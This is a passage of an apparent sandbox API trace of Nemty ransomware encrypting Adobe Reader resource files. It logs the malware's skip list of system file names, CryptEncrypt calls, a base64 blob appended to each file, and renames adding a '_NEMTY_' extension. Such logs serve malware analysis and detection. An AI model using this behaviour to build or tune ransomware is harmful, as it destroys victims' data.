(HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0214.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0214.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0214.831] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_SA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_sa.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_SA.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_sa.txt._nemty_kgobjgd_")) returned 1 [0214.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0214.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0214.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0214.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0214.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0214.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.832] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f3b3c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.ar_SD.txt", cAlternateFileName="DIC7AF~1.TXT")) returned 1 [0214.832] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SD.txt", lpString2=".") returned 1 [0214.832] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SD.txt", lpString2="..") returned 1 [0214.832] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SD.txt", lpString2="...") returned 1 [0214.832] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SD.txt", lpString2="windows") returned -1 [0214.832] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SD.txt", lpString2="$RECYCLE.BIN") returned 1 [0214.832] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SD.txt", lpString2="rsa") returned -1 [0214.832] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SD.txt", lpString2="NTDETECT.COM") returned -1 [0214.832] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SD.txt", lpString2="ntldr") returned -1 [0214.832] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SD.txt", lpString2="MSDOS.SYS") returned -1 [0214.832] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SD.txt", lpString2="IO.SYS") returned -1 [0214.832] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SD.txt", lpString2="boot.ini") returned 1 [0214.832] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SD.txt", lpString2="boot.ini") returned 1 [0214.832] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SD.txt", lpString2="AUTOEXEC.BAT") returned 1 [0214.832] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SD.txt", lpString2="ntuser.dat") returned -1 [0214.833] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SD.txt", lpString2="desktop.ini") returned 1 [0214.833] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SD.txt", lpString2="CONFIG.SYS") returned 1 [0214.833] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SD.txt", lpString2="RECYCLER") returned -1 [0214.833] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SD.txt", lpString2="BOOTSECT.BAK") returned 1 [0214.833] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SD.txt", lpString2="bootmgr") returned 1 [0214.833] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SD.txt", lpString2="programdata") returned -1 [0214.833] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SD.txt", lpString2="appdata") returned 1 [0214.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.833] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_SD.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.833] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_SD.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_SD.txt", lpUsedDefaultChar=0x0) returned 30 [0214.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0214.833] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_SD.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.833] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_SD.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_SD.txt", lpUsedDefaultChar=0x0) returned 30 [0214.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0214.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.833] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_SD.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.833] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_SD.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_SD.txt", lpUsedDefaultChar=0x0) returned 30 [0214.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.833] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_SD.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.833] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_SD.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed08, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_SD.txt", lpUsedDefaultChar=0x0) returned 30 [0214.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0214.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0214.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0214.833] Sleep (dwMilliseconds=0x5) [0214.841] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33b15bd0, dwHighDateTime=0x1d561e8)) [0214.841] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33b15bd0, dwHighDateTime=0x1d561e8)) [0214.841] GetLastError () returned 0x0 [0214.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.841] GetLastError () returned 0x0 [0214.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0214.841] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0214.841] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0214.841] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0214.841] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0214.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0214.841] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e5dc | out: pszString="Ha9bKMazqZf2FakFWlUQMZ9uCM0ywRE2s63E7X1y3J1EHb9NGHGA6n8tJZHEpv3v\r\nJKu5OoqeRKVojnxLn/d9IZZr6ssUx0r/TlBJ/Th98IKru+Pvwb5yNtS+m7Mbi5Q+\r\nC6SVn4WZaYY1ac4z2SNlQHvLmeGBkDWNWJtHlpmkz8hR1yoD0bB+8G9aqMRn4VTn\r\nz81GrchtiRQ5gV075wT3vPaLayaUJge/tCGMqSf8JzL95mn17Hli8fy401WmGpOU\r\nwSyDNXdNZXN91oJ+I/5WlFMP0pL6I58t5doFAUJhq5VWhNIeq7b7qHYM18plaS6a\r\n+42elhflp/92mwVXY5cGhA==\r\n", pcchString=0x653e5dc) returned 1 [0214.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0214.842] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.842] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0214.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0214.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0214.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0214.842] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_SD.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_sd.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0214.842] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=27798) returned 1 [0214.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6c90) returned 0x6352c48 [0214.842] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.842] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6c90, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6c90, lpOverlapped=0x0) returned 1 [0214.846] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.846] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6c90, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6c90, lpOverlapped=0x0) returned 1 [0214.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0214.846] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=27798, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6c96 [0214.846] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0214.846] CloseHandle (hObject=0x2e8) returned 1 [0214.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0214.846] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0214.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0214.846] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0214.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0214.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0214.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0214.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0214.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0214.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0214.847] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_SD.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_sd.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_SD.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_sd.txt._nemty_kgobjgd_")) returned 1 [0214.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0214.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0214.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0214.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0214.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0214.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.847] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.847] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f3b3c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.ar_SY.txt", cAlternateFileName="DID7BE~1.TXT")) returned 1 [0214.847] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SY.txt", lpString2=".") returned 1 [0214.847] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SY.txt", lpString2="..") returned 1 [0214.848] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SY.txt", lpString2="...") returned 1 [0214.848] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SY.txt", lpString2="windows") returned -1 [0214.848] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SY.txt", lpString2="$RECYCLE.BIN") returned 1 [0214.848] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SY.txt", lpString2="rsa") returned -1 [0214.848] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SY.txt", lpString2="NTDETECT.COM") returned -1 [0214.848] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SY.txt", lpString2="ntldr") returned -1 [0214.848] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SY.txt", lpString2="MSDOS.SYS") returned -1 [0214.848] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SY.txt", lpString2="IO.SYS") returned -1 [0214.848] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SY.txt", lpString2="boot.ini") returned 1 [0214.848] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SY.txt", lpString2="boot.ini") returned 1 [0214.848] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SY.txt", lpString2="AUTOEXEC.BAT") returned 1 [0214.848] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SY.txt", lpString2="ntuser.dat") returned -1 [0214.848] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SY.txt", lpString2="desktop.ini") returned 1 [0214.848] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SY.txt", lpString2="CONFIG.SYS") returned 1 [0214.848] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SY.txt", lpString2="RECYCLER") returned -1 [0214.848] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SY.txt", lpString2="BOOTSECT.BAK") returned 1 [0214.848] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SY.txt", lpString2="bootmgr") returned 1 [0214.848] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SY.txt", lpString2="programdata") returned -1 [0214.848] lstrcmpiW (lpString1="DisplayLanguageNames.ar_SY.txt", lpString2="appdata") returned 1 [0214.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.848] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_SY.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.848] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_SY.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_SY.txt", lpUsedDefaultChar=0x0) returned 30 [0214.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0214.848] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_SY.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.848] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_SY.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_SY.txt", lpUsedDefaultChar=0x0) returned 30 [0214.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0214.848] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.848] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_SY.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.848] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.848] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_SY.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_SY.txt", lpUsedDefaultChar=0x0) returned 30 [0214.849] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.849] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.849] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_SY.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.849] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.849] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_SY.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed08, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_SY.txt", lpUsedDefaultChar=0x0) returned 30 [0214.849] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.849] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0214.849] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0214.849] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0214.849] Sleep (dwMilliseconds=0x5) [0214.857] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33b3bd30, dwHighDateTime=0x1d561e8)) [0214.857] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33b3bd30, dwHighDateTime=0x1d561e8)) [0214.857] GetLastError () returned 0x0 [0214.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.857] GetLastError () returned 0x0 [0214.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0214.857] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0214.857] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0214.857] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0214.857] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0214.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0214.857] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e5dc | out: 